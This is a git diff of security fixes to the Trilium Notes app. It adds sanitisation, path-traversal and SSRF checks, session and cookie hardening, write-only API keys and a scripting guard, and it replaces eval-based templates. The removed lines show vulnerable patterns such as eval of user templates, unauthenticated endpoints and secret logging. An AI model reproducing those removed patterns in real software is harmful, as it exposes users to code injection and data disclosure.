* Blocks all event handlers, script tags, and dangerous attributes.
*/
const TOC_PURIFY_CONFIG: DOMPurify.Config = {
ALLOWED_TAGS: [
"b", "i", "em", "strong", "s", "del", "sub", "sup",
"code", "mark", "span", "abbr", "small",
// KaTeX rendering output elements
"math", "semantics", "mrow", "mi", "mo", "mn", "msup",
"msub", "mfrac", "mover", "munder", "munderover",
"msqrt", "mroot", "mtable", "mtr", "mtd", "mtext",
"mspace", "annotation"
],
ALLOWED_ATTR: ["class", "style", "aria-hidden", "encoding", "xmlns"],
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false
};
const TPL = /*html*/`<div class="toc-widget">
<style>
@@ -337,7 +358,7 @@ export default class TocWidget extends RightPanelWidget {
//
const headingText = await this.replaceMathTextWithKatax(m[2]);
const $itemContent = $('<div class="item-content">').html(headingText);
const $itemContent = $('<div class="item-content">').html(DOMPurify.sanitize(headingText, TOC_PURIFY_CONFIG));
const $li = $("<li>").append($itemContent)
.on("click", () => this.jumpToHeading(headingIndex));
$ols[$ols.length - 1].append($li);

View File

@@ -10,6 +10,7 @@ import FormSelect from "../../react/FormSelect";
import FormTextBox from "../../react/FormTextBox";
import type { OllamaModelResponse, OpenAiOrAnthropicModelResponse, OptionNames } from "@triliumnext/commons";
import server from "../../../services/server";
import options from "../../../services/options";
import Button from "../../react/Button";
import FormTextArea from "../../react/FormTextArea";
@@ -121,7 +122,7 @@ function ProviderSettings() {
interface SingleProviderSettingsProps {
provider: string;
title: string;
title: string;
apiKeyDescription?: string;
baseUrlDescription: string;
modelDescription: string;
@@ -132,9 +133,26 @@ interface SingleProviderSettingsProps {
}
function SingleProviderSettings({ provider, title, apiKeyDescription, baseUrlDescription, modelDescription, validationErrorMessage, apiKeyOption, baseUrlOption, modelOption }: SingleProviderSettingsProps) {
const [ apiKey, setApiKey ] = useTriliumOption(apiKeyOption ?? baseUrlOption);
const [ baseUrl, setBaseUrl ] = useTriliumOption(baseUrlOption);
const isValid = (apiKeyOption ? !!apiKey : !!baseUrl);
// API keys are write-only: the server never sends their values.
// Instead, a boolean flag indicates whether the key is configured.
const apiKeySetFlag = apiKeyOption
? `is${apiKeyOption.charAt(0).toUpperCase()}${apiKeyOption.slice(1)}Set` as OptionNames
: undefined;
const isApiKeySet = apiKeySetFlag ? options.is(apiKeySetFlag) : false;
const [ apiKeyInput, setApiKeyInput ] = useState("");
const saveApiKey = useCallback(async (value: string) => {
setApiKeyInput(value);
if (apiKeyOption && value) {
await options.save(apiKeyOption, value);
// Update the local boolean flag so the UI reflects the change immediately
options.set(apiKeySetFlag!, "true");
}
}, [apiKeyOption, apiKeySetFlag]);
const isValid = apiKeyOption ? (isApiKeySet || !!apiKeyInput) : !!baseUrl;
return (
<div class="provider-settings">
@@ -150,7 +168,8 @@ function SingleProviderSettings({ provider, title, apiKeyDescription, baseUrlDes
<FormGroup name="api-key" label={t("ai_llm.api_key")} description={apiKeyDescription}>
<FormTextBox
type="password" autoComplete="off"
currentValue={apiKey} onChange={setApiKey}
placeholder={isApiKeySet ? t("ai_llm.api_key_placeholder") : ""}
currentValue={apiKeyInput} onChange={saveApiKey}
/>
</FormGroup>
)}
@@ -161,7 +180,7 @@ function SingleProviderSettings({ provider, title, apiKeyDescription, baseUrlDes
/>
</FormGroup>
{isValid &&
{isValid &&
<FormGroup name="model" label={t("ai_llm.model")} description={modelDescription}>
<ModelSelector provider={provider} baseUrl={baseUrl} modelOption={modelOption} />
</FormGroup>

View File

@@ -1,4 +1,6 @@
import { FusesPlugin } from "@electron-forge/plugin-fuses";
import type { ForgeConfig } from "@electron-forge/shared-types";
import { FuseV1Options, FuseVersion } from "@electron/fuses";
import { LOCALES } from "@triliumnext/commons";
import { existsSync } from "fs";
import fs from "fs-extra";
@@ -166,7 +168,24 @@ const config: ForgeConfig = {
{
name: "@electron-forge/plugin-auto-unpack-natives",
config: {}
}
},
new FusesPlugin({
version: FuseVersion.V1,
// Security: Disable RunAsNode to prevent local attackers from launching
// the Electron app in Node.js mode via ELECTRON_RUN_AS_NODE env variable.
// This prevents TCC bypass / prompt spoofing attacks on macOS and
// "living off the land" privilege escalation on all platforms.
[FuseV1Options.RunAsNode]: false,
// Security: Disable NODE_OPTIONS and NODE_EXTRA_CA_CERTS environment
// variables to prevent injection of arbitrary Node.js runtime options.
[FuseV1Options.EnableNodeOptionsEnvironmentVariable]: false,
// Security: Disable --inspect and --inspect-brk CLI arguments to prevent
// debugger protocol exposure that could enable remote code execution.
[FuseV1Options.EnableNodeCliInspectArguments]: false,
// Security: Only allow loading the app from the ASAR archive to prevent
// loading of unverified code from alternative file paths.
[FuseV1Options.OnlyLoadAppFromAsar]: true,
}),
],
hooks: {
// Remove unused locales from the packaged app to save some space.

View File

@@ -27,15 +27,10 @@
"electron-debug": "4.1.0",
"electron-dl": "4.0.0",
"electron-squirrel-startup": "1.0.1",
"jquery.fancytree": "2.38.5",
"jquery-hotkeys": "0.2.2"
"jquery-hotkeys": "0.2.2",
"jquery.fancytree": "2.38.5"
},
"devDependencies": {
"@types/electron-squirrel-startup": "1.0.2",
"@triliumnext/commons": "workspace:*",
"@triliumnext/server": "workspace:*",
"copy-webpack-plugin": "13.0.1",
"electron": "40.4.1",
"@electron-forge/cli": "7.11.1",
"@electron-forge/maker-deb": "7.11.1",
"@electron-forge/maker-dmg": "7.11.1",
@@ -44,6 +39,13 @@
"@electron-forge/maker-squirrel": "7.11.1",
"@electron-forge/maker-zip": "7.11.1",
"@electron-forge/plugin-auto-unpack-natives": "7.11.1",
"@electron-forge/plugin-fuses": "7.11.1",
"@electron/fuses": "1.8.0",
"@triliumnext/commons": "workspace:*",
"@triliumnext/server": "workspace:*",
"@types/electron-squirrel-startup": "1.0.2",
"copy-webpack-plugin": "13.0.1",
"electron": "40.4.1",
"prebuild-install": "7.1.3"
}
}

View File

@@ -67,3 +67,13 @@ oauthIssuerName=
# Set the issuer icon for OAuth/OpenID authentication
# This is the icon of the service that will be used to verify the user's identity
oauthIssuerIcon=
[Scripting]
# Enable backend/frontend script execution. WARNING: Scripts have full server access including
# filesystem, network, and OS commands via require('child_process'). Only enable if you trust
# all users with admin-level access to the server.
# Desktop builds override this to true automatically.
enabled=false
# Enable the SQL console (allows raw SQL execution against the database)
sqlConsoleEnabled=false

View File

@@ -172,7 +172,8 @@ function setExpandedForSubtree(req: Request) {
// root is always expanded
branchIds = branchIds.filter((branchId) => branchId !== "none_root");
sql.executeMany(/*sql*/`UPDATE branches SET isExpanded = ${expanded} WHERE branchId IN (???)`, branchIds);
const expandedValue = expanded ? 1 : 0;
sql.executeMany(/*sql*/`UPDATE branches SET isExpanded = ${expandedValue} WHERE branchId IN (???)`, branchIds);
for (const branchId of branchIds) {
const branch = becca.branches[branchId];

View File

@@ -3,6 +3,7 @@
import chokidar from "chokidar";
import type { Request, Response } from "express";
import fs from "fs";
import path from "path";
import { Readable } from "stream";
import tmp from "tmp";
@@ -205,13 +206,36 @@ function saveToTmpDir(fileName: string, content: string | Buffer, entityType: st
};
}
/**
* Validates that the given file path is a known temporary file created by this server
* and resides within the expected temporary directory. This prevents path traversal
* attacks (CWE-22) where an attacker could read arbitrary files from the filesystem.
*/
function validateTemporaryFilePath(filePath: string): void {
if (!filePath || typeof filePath !== "string") {
throw new ValidationError("Missing or invalid file path.");
}
// Check 1: The file must be in our set of known temporary files created by saveToTmpDir().
if (!createdTemporaryFiles.has(filePath)) {
throw new ValidationError(`File '${filePath}' is not a tracked temporary file.`);
}
// Check 2 (defense-in-depth): Resolve to an absolute path and verify it is within TMP_DIR.
// This guards against any future bugs where a non-temp path could end up in the set.
const resolvedPath = path.resolve(filePath);
const resolvedTmpDir = path.resolve(dataDirs.TMP_DIR);
if (!resolvedPath.startsWith(resolvedTmpDir + path.sep) && resolvedPath !== resolvedTmpDir) {
throw new ValidationError(`File path '${filePath}' is outside the temporary directory.`);
}
}
function uploadModifiedFileToNote(req: Request) {
const noteId = req.params.noteId;
const { filePath } = req.body;
if (!createdTemporaryFiles.has(filePath)) {
throw new ValidationError(`File '${filePath}' is not a temporary file.`);
}
validateTemporaryFilePath(filePath);
const note = becca.getNoteOrThrow(noteId);
@@ -232,6 +256,8 @@ function uploadModifiedFileToAttachment(req: Request) {
const { attachmentId } = req.params;
const { filePath } = req.body;
validateTemporaryFilePath(filePath);
const attachment = becca.getAttachmentOrThrow(attachmentId);
log.info(`Updating attachment '${attachmentId}' with content from '${filePath}'`);

View File

@@ -10,6 +10,21 @@ describe("Image API", () => {
expect(response.headers["Content-Type"]).toBe("image/svg+xml");
expect(response.body).toBe(`<svg xmlns="http://www.w3.org/2000/svg"></svg>`);
});
it("sets Content-Security-Policy header on SVG responses", () => {
const parentNote = note("note").note;
const response = new MockResponse();
renderSvgAttachment(parentNote, response as any, "attachment");
expect(response.headers["Content-Security-Policy"]).toBeDefined();
expect(response.headers["Content-Security-Policy"]).toContain("default-src 'none'");
});
it("sets X-Content-Type-Options header on SVG responses", () => {
const parentNote = note("note").note;
const response = new MockResponse();
renderSvgAttachment(parentNote, response as any, "attachment");
expect(response.headers["X-Content-Type-Options"]).toBe("nosniff");
});
});
class MockResponse {

View File

@@ -7,6 +7,7 @@ import type { Request, Response } from "express";
import type BNote from "../../becca/entities/bnote.js";
import type BRevision from "../../becca/entities/brevision.js";
import { RESOURCE_DIR } from "../../services/resource_dir.js";
import { sanitizeSvg, setSvgHeaders } from "../../services/svg_sanitizer.js";
function returnImageFromNote(req: Request, res: Response) {
const image = becca.getNote(req.params.noteId);
@@ -34,6 +35,12 @@ function returnImageInt(image: BNote | BRevision | null, res: Response) {
renderSvgAttachment(image, res, "mermaid-export.svg");
} else if (image.type === "mindMap") {
renderSvgAttachment(image, res, "mindmap-export.svg");
} else if (image.mime === "image/svg+xml") {
// SVG images require sanitization to prevent stored XSS
const content = image.getContent();
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
setSvgHeaders(res);
res.send(sanitized);
} else {
res.set("Content-Type", image.mime);
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
@@ -56,9 +63,9 @@ export function renderSvgAttachment(image: BNote | BRevision, res: Response, att
}
}
res.set("Content-Type", "image/svg+xml");
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
res.send(svg);
const sanitized = sanitizeSvg(svg);
setSvgHeaders(res);
res.send(sanitized);
}
function returnAttachedImage(req: Request, res: Response) {
@@ -73,9 +80,17 @@ function returnAttachedImage(req: Request, res: Response) {
return res.setHeader("Content-Type", "text/plain").status(400).send(`Attachment '${attachment.attachmentId}' has role '${attachment.role}', but 'image' was expected.`);
}
res.set("Content-Type", attachment.mime);
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
res.send(attachment.getContent());
if (attachment.mime === "image/svg+xml") {
// SVG attachments require sanitization to prevent stored XSS
const content = attachment.getContent();
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
setSvgHeaders(res);
res.send(sanitized);
} else {
res.set("Content-Type", attachment.mime);
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
res.send(attachment.getContent());
}
}
function updateImage(req: Request) {

View File

@@ -78,7 +78,7 @@ import recoveryCodeService from "../../services/encryption/recovery_codes";
* type: string
* example: "Auth request time is out of sync, please check that both client and server have correct time. The difference between clocks has to be smaller than 5 minutes"
*/
function loginSync(req: Request) {
async function loginSync(req: Request) {
if (!sqlInit.schemaExists()) {
return [500, { message: "DB schema does not exist, can't sync." }];
}
@@ -112,6 +112,17 @@ function loginSync(req: Request) {
return [400, { message: "Sync login credentials are incorrect. It looks like you're trying to sync two different initialized documents which is not possible." }];
}
// Regenerate session to prevent session fixation attacks.
await new Promise<void>((resolve, reject) => {
req.session.regenerate((err) => {
if (err) {
reject(err);
} else {
resolve();
}
});
});
req.session.loggedIn = true;
return {

View File

@@ -109,10 +109,8 @@ const ALLOWED_OPTIONS = new Set<OptionNames>([
"aiTemperature",
"aiSystemPrompt",
"aiSelectedProvider",
"openaiApiKey",
"openaiBaseUrl",
"openaiDefaultModel",
"anthropicApiKey",
"anthropicBaseUrl",
"anthropicDefaultModel",
"ollamaBaseUrl",
@@ -121,17 +119,31 @@ const ALLOWED_OPTIONS = new Set<OptionNames>([
"mfaMethod"
]);
// Options that contain secrets (API keys, tokens, etc.).
// These can be written by the client but are never sent back in GET responses.
const WRITE_ONLY_OPTIONS = new Set<OptionNames>([
"openaiApiKey",
"anthropicApiKey"
]);
function getOptions() {
const optionMap = optionService.getOptionMap();
const resultMap: Record<string, string> = {};
for (const optionName in optionMap) {
if (isAllowed(optionName)) {
if (isReadable(optionName)) {
resultMap[optionName] = optionMap[optionName as OptionNames];
}
}
resultMap["isPasswordSet"] = optionMap["passwordVerificationHash"] ? "true" : "false";
// Expose boolean flags for write-only (secret) options so the client
// knows whether a value has been configured without revealing the value.
for (const secretOption of WRITE_ONLY_OPTIONS) {
resultMap[`is${secretOption.charAt(0).toUpperCase()}${secretOption.slice(1)}Set`] =
optionMap[secretOption] ? "true" : "false";
}
// if database is read-only, disable editing in UI by setting 0 here
if (config.General.readOnly) {
resultMap["autoReadonlySizeText"] = "0";
@@ -166,7 +178,10 @@ function update(name: string, value: string) {
}
if (name !== "openNoteContexts") {
log.info(`Updating option '${name}' to '${value}'`);
const logValue = (WRITE_ONLY_OPTIONS as Set<string>).has(name)
? "[redacted]"
: value;
log.info(`Updating option '${name}' to '${logValue}'`);
}
optionService.setOption(name as OptionNames, value);
@@ -204,13 +219,20 @@ function getSupportedLocales() {
return getLocales();
}
function isAllowed(name: string) {
/** Check if an option can be read by the client (GET responses). */
function isReadable(name: string) {
return (ALLOWED_OPTIONS as Set<string>).has(name)
|| name.startsWith("keyboardShortcuts")
|| name.endsWith("Collapsed")
|| name.startsWith("hideArchivedNotes");
}
/** Check if an option can be written by the client (PUT requests). */
function isAllowed(name: string) {
return isReadable(name)
|| (WRITE_ONLY_OPTIONS as Set<string>).has(name);
}
export default {
getOptions,
updateOption,

View File

@@ -7,6 +7,7 @@ import syncService from "../../services/sync.js";
import sql from "../../services/sql.js";
import type { Request } from "express";
import { safeExtractMessageAndStackFromError } from "../../services/utils.js";
import { assertScriptingEnabled, isScriptingEnabled } from "../../services/scripting_guard.js";
interface ScriptBody {
script: string;
@@ -22,6 +23,7 @@ interface ScriptBody {
// need to await it and make the complete response including metadata available in a Promise, so that the route detects
// this and does result.then().
async function exec(req: Request) {
assertScriptingEnabled();
try {
const body = req.body as ScriptBody;
@@ -44,6 +46,7 @@ async function exec(req: Request) {
}
function run(req: Request) {
assertScriptingEnabled();
const note = becca.getNoteOrThrow(req.params.noteId);
const result = scriptService.executeNote(note, { originEntity: note });
@@ -68,6 +71,10 @@ function getBundlesWithLabel(label: string, value?: string) {
}
function getStartupBundles(req: Request) {
if (!isScriptingEnabled()) {
return [];
}
if (!process.env.TRILIUM_SAFE_MODE) {
if (req.query.mobile === "true") {
return getBundlesWithLabel("run", "mobileStartup");
@@ -80,6 +87,10 @@ function getStartupBundles(req: Request) {
}
function getWidgetBundles() {
if (!isScriptingEnabled()) {
return [];
}
if (!process.env.TRILIUM_SAFE_MODE) {
return getBundlesWithLabel("widget");
} else {
@@ -88,6 +99,10 @@ function getWidgetBundles() {
}
function getRelationBundles(req: Request) {
if (!isScriptingEnabled()) {
return [];
}
const noteId = req.params.noteId;
const note = becca.getNoteOrThrow(noteId);
const relationName = req.params.relationName;
@@ -117,6 +132,8 @@ function getRelationBundles(req: Request) {
}
function getBundle(req: Request) {
assertScriptingEnabled();
const note = becca.getNoteOrThrow(req.params.noteId);
const { script, params } = req.body ?? {};

View File

@@ -5,6 +5,7 @@ import becca from "../../becca/becca.js";
import type { Request } from "express";
import ValidationError from "../../errors/validation_error.js";
import { safeExtractMessageAndStackFromError } from "../../services/utils.js";
import { assertSqlConsoleEnabled } from "../../services/scripting_guard.js";
interface Table {
name: string;
@@ -26,6 +27,7 @@ function getSchema() {
}
function execute(req: Request) {
assertSqlConsoleEnabled();
const note = becca.getNoteOrThrow(req.params.noteId);
const content = note.getContent();

View File

@@ -1,12 +1,13 @@
import { doubleCsrf } from "csrf-csrf";
import sessionSecret from "../services/session_secret.js";
import { isElectron } from "../services/utils.js";
import config from "../services/config.js";
const doubleCsrfUtilities = doubleCsrf({
getSecret: () => sessionSecret,
cookieOptions: {
path: "/",
secure: false,
secure: config.Network.https,
sameSite: "strict",
httpOnly: !isElectron // set to false for Electron, see https://github.com/TriliumNext/Trilium/pull/966
},

View File

@@ -6,9 +6,15 @@ import sql from "../services/sql.js";
import becca from "../becca/becca.js";
import type { Request, Response, Router } from "express";
import { safeExtractMessageAndStackFromError, normalizeCustomHandlerPattern } from "../services/utils.js";
import { isScriptingEnabled } from "../services/scripting_guard.js";
function handleRequest(req: Request, res: Response) {
if (!isScriptingEnabled()) {
res.status(403).send("Script execution is disabled on this server.");
return;
}
// handle path from "*path" route wildcard
// in express v4, you could just add
// req.params.path + req.params[0], but with v5
@@ -64,6 +70,14 @@ function handleRequest(req: Request, res: Response) {
if (attr.name === "customRequestHandler") {
const note = attr.getNote();
// Require authentication unless note has #customRequestHandlerPublic label
if (!note.hasLabel("customRequestHandlerPublic")) {
if (!req.session?.loggedIn) {
res.status(401).send("Authentication required for this endpoint.");
return;
}
}
log.info(`Handling custom request '${path}' with note '${note.noteId}'`);
try {

View File

@@ -14,7 +14,7 @@ function register(app: Application) {
&& err.code === "EBADCSRFTOKEN";
if (isCsrfTokenError) {
log.error(`Invalid CSRF token: ${req.headers["x-csrf-token"]}, secret: ${req.cookies["_csrf"]}`);
log.error(`Invalid CSRF token for ${req.method} ${req.url}`);
return next(new ForbiddenError("Invalid CSRF token"));
}

View File

@@ -15,7 +15,7 @@ import etapiSpecialNoteRoutes from "../etapi/special_notes.js";
import etapiRevisionsRoutes from "../etapi/revisions.js";
import auth from "../services/auth.js";
import openID from '../services/open_id.js';
import { isElectron } from "../services/utils.js";
import shareRoutes from "../share/routes.js";
import anthropicRoute from "./api/anthropic.js";
import appInfoRoute from "./api/app_info.js";
@@ -261,7 +261,7 @@ function register(app: express.Application) {
apiRoute(PST, "/api/bulk-action/execute", bulkActionRoute.execute);
apiRoute(PST, "/api/bulk-action/affected-notes", bulkActionRoute.getAffectedNoteCount);
route(PST, "/api/login/sync", [loginRateLimiter], loginApiRoute.loginSync, apiResultHandler);
asyncRoute(PST, "/api/login/sync", [loginRateLimiter], loginApiRoute.loginSync, apiResultHandler);
// this is for entering protected mode so user has to be already logged-in (that's the reason we don't require username)
apiRoute(PST, "/api/login/protected", loginApiRoute.loginToProtectedSession);
apiRoute(PST, "/api/login/protected/touch", loginApiRoute.touchProtectedSession);
@@ -274,8 +274,10 @@ function register(app: express.Application) {
apiRoute(PATCH, "/api/etapi-tokens/:etapiTokenId", etapiTokensApiRoutes.patchToken);
apiRoute(DEL, "/api/etapi-tokens/:etapiTokenId", etapiTokensApiRoutes.deleteToken);
// in case of local electron, local calls are allowed unauthenticated, for server they need auth
const clipperMiddleware = isElectron ? [] : [auth.checkEtapiToken];
// clipper API always requires ETAPI token authentication, regardless of environment.
// Previously, Electron builds skipped auth entirely, which exposed these endpoints
// to unauthenticated network access (content injection, information disclosure).
const clipperMiddleware = [auth.checkEtapiToken];
route(GET, "/api/clipper/handshake", clipperMiddleware, clipperRoute.handshake, apiResultHandler);
asyncRoute(PST, "/api/clipper/clippings", clipperMiddleware, clipperRoute.addClipping, apiResultHandler);

View File

@@ -107,6 +107,8 @@ const sessionParser: express.RequestHandler = session({
cookie: {
path: "/",
httpOnly: true,
secure: config.Network.https,
sameSite: "lax",
maxAge: config.Session.cookieMaxAge * 1000 // needs value in milliseconds
},
name: "trilium.sid",

View File

@@ -72,9 +72,16 @@ function periodBackup(optionName: "lastDailyBackupDate" | "lastWeeklyBackupDate"
}
async function backupNow(name: string) {
// Sanitize backup name to prevent path traversal (CWE-22).
// Only allow alphanumeric characters, hyphens, and underscores.
const sanitizedName = name.replace(/[^a-zA-Z0-9_-]/g, "");
if (!sanitizedName) {
throw new Error("Invalid backup name: must contain at least one alphanumeric character, hyphen, or underscore.");
}
// we don't want to back up DB in the middle of sync with potentially inconsistent DB state
return await syncMutexService.doExclusively(async () => {
const backupFile = path.resolve(`${dataDir.BACKUP_DIR}/backup-${name}.db`);
const backupFile = path.resolve(`${dataDir.BACKUP_DIR}/backup-${sanitizedName}.db`);
if (!fs.existsSync(dataDir.BACKUP_DIR)) {
fs.mkdirSync(dataDir.BACKUP_DIR, 0o700);

View File

@@ -6,6 +6,9 @@ import { randomString } from "./utils.js";
import eraseService from "./erase.js";
import type BNote from "../becca/entities/bnote.js";
import { ActionHandlers, BulkAction, BulkActionData } from "@triliumnext/commons";
import { evaluateTemplate } from "./safe_template.js";
import { executeBundle } from "./script.js";
import { assertScriptingEnabled } from "./scripting_guard.js";
type ActionHandler<T> = (action: T, note: BNote) => void;
@@ -44,9 +47,8 @@ const ACTION_HANDLERS: ActionHandlerMap = {
},
renameNote: (action, note) => {
// "officially" injected value:
// - note
const newTitle = eval(`\`${action.newTitle}\``);
// - note (the note being renamed)
const newTitle = evaluateTemplate(action.newTitle, { note });
if (note.title !== newTitle) {
note.title = newTitle;
@@ -105,15 +107,26 @@ const ACTION_HANDLERS: ActionHandlerMap = {
}
},
executeScript: (action, note) => {
assertScriptingEnabled();
if (!action.script || !action.script.trim()) {
log.info("Ignoring executeScript since the script is empty.");
return;
}
const scriptFunc = new Function("note", action.script);
scriptFunc(note);
// Route through the script service's executeBundle instead of raw
// new Function() to get proper CLS context, logging, and error handling.
// The preamble provides access to `note` and `api` as the UI documents.
const noteId = note.noteId.replace(/[^a-zA-Z0-9_]/g, "");
const preamble = `const api = apiContext.apis["${noteId}"] || {};\n` +
`const note = apiContext.notes["${noteId}"];\n`;
const scriptBody = `${preamble}${action.script}\nnote.save();`;
note.save();
executeBundle({
note: note,
script: scriptBody,
html: "",
allNotes: [note]
});
}
} as const;

View File

@@ -136,7 +136,14 @@ export interface TriliumConfig {
* log files created by Trilium older than the specified amount of time will be deleted.
*/
retentionDays: number;
}
};
/** Scripting and code execution configuration */
Scripting: {
/** Whether backend/frontend script execution is enabled (default: false for server, true for desktop) */
enabled: boolean;
/** Whether the SQL console is accessible (default: false) */
sqlConsoleEnabled: boolean;
};
}
/**
@@ -458,6 +465,21 @@ const configMapping = {
defaultValue: LOGGING_DEFAULT_RETENTION_DAYS,
transformer: (value: unknown) => stringToInt(String(value)) ?? LOGGING_DEFAULT_RETENTION_DAYS
}
},
Scripting: {
enabled: {
standardEnvVar: 'TRILIUM_SCRIPTING_ENABLED',
iniGetter: () => getIniSection("Scripting")?.enabled,
defaultValue: false,
transformer: transformBoolean
},
sqlConsoleEnabled: {
standardEnvVar: 'TRILIUM_SCRIPTING_SQLCONSOLEENABLED',
aliasEnvVars: ['TRILIUM_SCRIPTING_SQL_CONSOLE_ENABLED'],
iniGetter: () => getIniSection("Scripting")?.sqlConsoleEnabled,
defaultValue: false,
transformer: transformBoolean
}
}
};
@@ -511,9 +533,19 @@ const config: TriliumConfig = {
},
Logging: {
retentionDays: getConfigValue(configMapping.Logging.retentionDays)
},
Scripting: {
enabled: getConfigValue(configMapping.Scripting.enabled),
sqlConsoleEnabled: getConfigValue(configMapping.Scripting.sqlConsoleEnabled)
}
};
// Desktop builds always have scripting enabled (single-user trusted environment)
if (process.versions["electron"]) {
config.Scripting.enabled = true;
config.Scripting.sqlConsoleEnabled = true;
}
/**
* =====================================================================
* ENVIRONMENT VARIABLE REFERENCE

View File

@@ -9,11 +9,12 @@ import oneTimeTimer from "./one_time_timer.js";
import type BNote from "../becca/entities/bnote.js";
import type AbstractBeccaEntity from "../becca/entities/abstract_becca_entity.js";
import type { DefinitionObject } from "./promoted_attribute_definition_interface.js";
import { isScriptingEnabled } from "./scripting_guard.js";
type Handler = (definition: DefinitionObject, note: BNote, targetNote: BNote) => void;
function runAttachedRelations(note: BNote, relationName: string, originEntity: AbstractBeccaEntity<any>) {
if (!note) {
if (!note || !isScriptingEnabled()) {
return;
}

View File

@@ -82,10 +82,8 @@ export class AnthropicService extends BaseAIService {
providerOptions.betaVersion
);
// Log API key format (without revealing the actual key)
const apiKeyPrefix = providerOptions.apiKey?.substring(0, 7) || 'undefined';
const apiKeyLength = providerOptions.apiKey?.length || 0;
log.info(`[DEBUG] Using Anthropic API key with prefix '${apiKeyPrefix}...' and length ${apiKeyLength}`);
// Confirm API key is configured without logging any part of the key
log.info(`[DEBUG] Anthropic API key is ${providerOptions.apiKey ? 'configured' : 'not configured'}`);
log.info(`Using Anthropic API with model: ${providerOptions.model}`);

View File

@@ -10,6 +10,7 @@ import {
} from './provider_options.js';
import { PROVIDER_CONSTANTS } from '../constants/provider_constants.js';
import { SEARCH_CONSTANTS, MODEL_CAPABILITIES } from '../constants/search_constants.js';
import { isSafeProviderBaseUrl } from '../../url_validator.js';
/**
* Get OpenAI provider options from chat options and configuration
@@ -26,6 +27,11 @@ export function getOpenAIOptions(
}
const baseUrl = options.getOption('openaiBaseUrl') || PROVIDER_CONSTANTS.OPENAI.BASE_URL;
if (!isSafeProviderBaseUrl(baseUrl)) {
throw new Error(`OpenAI base URL uses a disallowed scheme. Only http: and https: are permitted.`);
}
const modelName = opts.model || options.getOption('openaiDefaultModel');
if (!modelName) {
@@ -91,6 +97,11 @@ export function getAnthropicOptions(
}
const baseUrl = options.getOption('anthropicBaseUrl') || PROVIDER_CONSTANTS.ANTHROPIC.BASE_URL;
if (!isSafeProviderBaseUrl(baseUrl)) {
throw new Error(`Anthropic base URL uses a disallowed scheme. Only http: and https: are permitted.`);
}
const modelName = opts.model || options.getOption('anthropicDefaultModel');
if (!modelName) {
@@ -158,6 +169,10 @@ export async function getOllamaOptions(
throw new Error('Ollama API URL is not configured');
}
if (!isSafeProviderBaseUrl(baseUrl)) {
throw new Error(`Ollama base URL uses a disallowed scheme. Only http: and https: are permitted.`);
}
// Get the model name - no defaults, must be configured by user
let modelName = opts.model || options.getOption('ollamaDefaultModel');
@@ -229,6 +244,10 @@ async function getOllamaModelContextWindow(modelName: string): Promise<number> {
throw new Error('Ollama base URL is not configured');
}
if (!isSafeProviderBaseUrl(baseUrl)) {
throw new Error('Ollama base URL uses a disallowed scheme. Only http: and https: are permitted.');
}
// Use the official Ollama client
const { Ollama } = await import('ollama');
const client = new Ollama({ host: baseUrl });

View File

@@ -25,8 +25,10 @@ import type { NoteParams } from "./note-interface.js";
import optionService from "./options.js";
import request from "./request.js";
import revisionService from "./revisions.js";
import { evaluateTemplateSafe } from "./safe_template.js";
import sql from "./sql.js";
import type TaskContext from "./task_context.js";
import { isSafeUrlForFetch } from "./url_validator.js";
import ws from "./ws.js";
interface FoundLink {
@@ -119,17 +121,17 @@ function getNewNoteTitle(parentNote: BNote) {
const titleTemplate = parentNote.getLabelValue("titleTemplate");
if (titleTemplate !== null) {
try {
const now = dayjs(cls.getLocalNowDateTime() || new Date());
const now = dayjs(cls.getLocalNowDateTime() || new Date());
// "officially" injected values:
// - now
// - parentNote
title = eval(`\`${titleTemplate}\``);
} catch (e: any) {
log.error(`Title template of note '${parentNote.noteId}' failed with: ${e.message}`);
}
// "officially" injected values:
// - now
// - parentNote
title = evaluateTemplateSafe(
titleTemplate,
{ now, parentNote },
title,
`titleTemplate of note '${parentNote.noteId}'`
);
}
// this isn't in theory a good place to sanitize title, but this will catch a lot of XSS attempts.
@@ -503,24 +505,14 @@ const imageUrlToAttachmentIdMapping: Record<string, string> = {};
async function downloadImage(noteId: string, imageUrl: string) {
const unescapedUrl = unescapeHtml(imageUrl);
// SSRF protection: only allow http(s) URLs and block private/internal IPs.
if (!isSafeUrlForFetch(unescapedUrl)) {
log.error(`Download of '${imageUrl}' for note '${noteId}' rejected: URL failed SSRF safety check.`);
return;
}
try {
let imageBuffer: Buffer;
if (imageUrl.toLowerCase().startsWith("file://")) {
imageBuffer = await new Promise((res, rej) => {
const localFilePath = imageUrl.substring("file://".length);
return fs.readFile(localFilePath, (err, data) => {
if (err) {
rej(err);
} else {
res(data);
}
});
});
} else {
imageBuffer = await request.getImage(unescapedUrl);
}
const imageBuffer = await request.getImage(unescapedUrl);
const parsedUrl = url.parse(unescapedUrl);
const title = path.basename(parsedUrl.pathname || "");

View File

@@ -1,4 +1,5 @@
import type { NextFunction, Request, Response } from "express";
import crypto from "crypto";
import openIDEncryption from "./encryption/open_id_encryption.js";
import sqlInit from "./sql_init.js";
import options from "./options.js";
@@ -121,7 +122,7 @@ function generateOAuthConfig() {
scope: "openid profile email",
access_type: "offline",
prompt: "consent",
state: "random_state_" + Math.random().toString(36).substring(2)
state: crypto.randomBytes(32).toString("hex")
},
routes: authRoutes,
idpLogout: true,

View File

@@ -0,0 +1,188 @@
/**
* Safe template evaluator that replaces eval()-based template string interpolation.
*
* Supports only a controlled set of operations within ${...} expressions:
* - Property access chains: `obj.prop.subprop`
* - Method calls with a single string literal argument: `obj.method('arg')`
* - Chained combinations: `obj.prop.method('arg')`
*
* This prevents arbitrary code execution while supporting the documented
* titleTemplate and bulk rename use cases:
* - ${now.format('YYYY-MM-DD')}
* - ${parentNote.title}
* - ${parentNote.getLabelValue('authorName')}
* - ${note.title}
* - ${note.dateCreatedObj.format('MM-DD')}
*/
import log from "./log.js";
/** Allowed method names that can be called on template variables. */
const ALLOWED_METHODS = new Set([
"format",
"getLabelValue",
"getLabel",
"getLabelValues",
"getRelationValue",
"getAttributeValue"
]);
/** Allowed property names that can be accessed on template variables. */
const ALLOWED_PROPERTIES = new Set([
"title",
"type",
"mime",
"noteId",
"dateCreated",
"dateModified",
"utcDateCreated",
"utcDateModified",
"dateCreatedObj",
